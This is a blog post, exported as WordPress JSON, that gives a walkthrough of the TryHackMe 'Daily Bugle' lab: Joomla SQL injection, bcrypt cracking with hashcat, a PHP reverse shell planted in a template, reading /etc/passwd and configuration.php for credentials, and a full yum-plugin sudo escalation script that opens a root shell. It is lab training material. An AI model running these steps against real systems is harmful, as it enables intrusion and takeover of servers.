{"id":722,"date":"2020-05-13T18:25:50","date_gmt":"2020-05-13T18:25:50","guid":{"rendered":"https:\/\/mrjsec.co.uk\/blog\/?p=722"},"modified":"2020-05-13T18:25:50","modified_gmt":"2020-05-13T18:25:50","slug":"daily-bugle","status":"publish","type":"post","link":"https:\/\/mrjsec.co.uk\/blog\/daily-bugle\/","title":{"rendered":"
Daily Bugle<\/center>"},"content":{"rendered":"\n
\"\"<\/figure><\/div>\n\n\n\n

TryHackMe Room: https:\/\/tryhackme.com\/room\/dailybugle<\/a>
Difficulty Rated: Hard.<\/p>\n\n\n\n

Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.<\/p><\/blockquote>\n\n\n\n

Firstly let’s do a quick nmap scan to see what ports are open.
nmap -sV -p- -vv IP<\/p>\n\n\n\n

\"\"<\/figure><\/div>\n\n\n\n

We have three ports open 80 (HTTP), 22 (ssh) and 3306 (MariaDB), since it has an open HTTP port then surely it must have a webpage or even some sort of content.<\/p>\n\n\n\n

It looks like we have a Joomla CMS setup, and a post about someone.<\/p>\n\n\n\n

\"\"
Flag1<\/strong>: “Access the webserver, who robbed the bank?” Hopefully, you’re about to find the answer, as it’s “front” page news!<\/figcaption><\/figure><\/div>\n\n\n\n

Let’s see what else this website is hiding from us, let’s get the go buster going!<\/p>\n\n\n\n

gobuster dir -u http:\/\/10.10.181.48\/ -t 50 -w directory-list-2.3-medium.txt<\/code><\/pre>\n\n\n\n
\"\"
It seems Gobuster has found us some excellent results we can use, we have a robots.txt page.<\/figcaption><\/figure><\/div>\n\n\n\n
\"\"
The robots.txt page doesn’t include anything we don’t already know.<\/figcaption><\/figure><\/div>\n\n\n\n
The administrator page requires a login, which we don’t have yet sadly.<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Flag2: “What is the Joomla version?” So we need to find what version of Joomla is running here, OWASP has a tool<\/a> which can do just that for us!<\/p>\n\n\n\n
perl joomscan.pl -u http:\/\/10.10.181.48\/<\/p>\n\n\n\n
\"\"
And just like that, we have our version of Joomla for Flag2<\/strong>!<\/figcaption><\/figure><\/div>\n\n\n\n
Flag3: “Instead of using SQLMap, why not use a python script! What is Jonah’s cracked password?”<\/em><\/p>\n\n\n\n
Flag 3 is giving us a hint here, we know the version of Joomla, and if we do a quick Google search, we can see that the version has an exploit<\/a>.<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
We found our user, but the password encrypted with Bcrypt “3200 – Hashcat” I guess now it’s time to crack it, using Hashcat and rockyou.txt.<\/p>\n\n\n\n
hashcat -D 2 -m 3200 HASHFILE WORDLIST<\/code><\/pre>\n\n\n\n
\"\"
We have our password and Flag3<\/strong>! I’m using a Windows cracking rig due to better driver support. However, Hashcat works on both Windows and Linux, and the commands are the same.<\/figcaption><\/figure><\/div>\n\n\n\n
Now we can log in into the administrator page, now that we have accessed our next goal to try and get a reverse shell. There are two methods on how we can do this.<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Method one is to upload the shell within the uploader, but first, you must allow .php and other files to be uploaded. System – Global Configuration – Media, once edited you can upload your shell file freely (Hopefully?)<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Method two is the most common, and that is to edit the theme itself and include your own reverse shell PHP shell and refresh the page to get your shell started. You can gain a copy of the PHP shell here<\/a>. Once you have it downloaded and extracted ensure you change to your IP and your chosen port! (Or it won’t connect back to anything).<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Before we upload our shell, we should firstly set up NC on our attacker system.<\/p>\n\n\n\n
nc -nvlp 1234<\/code><\/pre>\n\n\n\n
“1234” is the port, ensure you change it to the one you set within your PHP shell, an IP address isn’t needed as listens to all devices but only on the given port.<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Once you’re ready to head to the theme editor, Templates – Templates – Protostar Details and Files. You should see this screen.<\/p>\n\n\n\n
\"\"
We want to edit index.php, open index.php within the editor and paste all of your PHP shellcode, don’t forget to click on save!<\/figcaption><\/figure><\/div>\n\n\n\n
\"\"
Reload the website, the website should keep “loading”, as right now it’s connecting back to us the attacker on the given IP and port. If all done correctly, we should see a connection in our NC terminal.<\/figcaption><\/figure><\/div>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Now we have our shell into the system lets see what users are on this system.<\/p>\n\n\n\n
cat \/etc\/passwd<\/code><\/pre>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
We have jjameson and root. Let’s try and access jjameson home; dang looks like we can’t as we don’t have the correct permissions as were only running as apache.<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Let’s see if we can sudo -l, sadly no luck here. Let’s see what distro is running here as we need to get higher permissions if we do want to get the last two flags!<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
It doesn’t look like much here can help us sadly, let’s have a more in-depth look into the Joomla setup.<\/p>\n\n\n\n
cd \/var\/www\/html && ls<\/code><\/pre>\n\n\n\n
\"\"
Lot’s of files here. But, that configuration.php file looks like it might be of some use to us let’s cat it.<\/figcaption><\/figure><\/div>\n\n\n\n
Using cat, we can see the file has much information, but the “password” really stands out here, I wonder if that gives us ssh access to jjameson?<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
\"\"
We now have ssh access to jjameson! And with this, we can claim Flag4 <\/strong>in user.txt within jjameson’s home folder.<\/figcaption><\/figure><\/div>\n\n\n\n
Now we need to get Flag5, and we can complete this room, the only issue here is. Flag5 is root access only, and we don’t have root access. I guess it’s time to bypass our restrictions and get root!<\/p>\n\n\n\n
If we use the command sudo -l we can see
“(ALL) NOPASSWD: \/usr\/bin\/yum”, we can abuse yum and get root!<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Using the following:<\/p>\n\n\n\n
TF=$(mktemp -d)\ncat >$TF\/x<<EOF\n[main]\nplugins=1\npluginpath=$TF\npluginconfpath=$TF\nEOF\n\ncat >$TF\/y.conf<<EOF\n[main]\nenabled=1\nEOF\n\ncat >$TF\/y.py<<EOF\nimport os\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n  os.execl('\/bin\/sh','\/bin\/sh')\nEOF\n\nsudo yum -c $TF\/x --enableplugin=y<\/code><\/pre>\n\n\n\n
\"\"
We abused yum to successfully gain a root shell.<\/figcaption><\/figure><\/div>\n\n\n\n
\"\"
We got root! We can now get the last flag, and Flag5 <\/strong>is within \/root\/root.txt<\/figcaption><\/figure><\/div>\n\n\n\n
That’s it! We started off gaining admin access to Joomla; we uploaded a shell and gained access to the system. We used our shell to gain higher permissions and now were root!<\/p>\n\n\n\n
This room created by TryHackMe. Thank you so much for the fun room!<\/p>\n","protected":false},"excerpt":{"rendered":"
TryHackMe Room: https:\/\/tryhackme.com\/room\/dailybugleDifficulty Rated: Hard. Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum. Firstly let’s do a quick nmap scan to see what ports…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"Daily Bungle writeup from tryhackme.\n#tryhackme #thm #spiderman #DailyBungle #Joomla","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[17,31],"tags":[14,34,33],"class_list":["post-722","post","type-post","status-publish","format-standard","hentry","category-ctf","category-tryhackme","tag-ctf","tag-thm","tag-tryhackme"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/paD3U6-bE","_links":{"self":[{"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/posts\/722","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/comments?post=722"}],"version-history":[{"count":2,"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/posts\/722\/revisions"}],"predecessor-version":[{"id":724,"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/posts\/722\/revisions\/724"}],"wp:attachment":[{"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/media?parent=722"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/categories?post=722"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mrjsec.co.uk\/blog\/wp-json\/wp\/v2\/tags?post=722"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}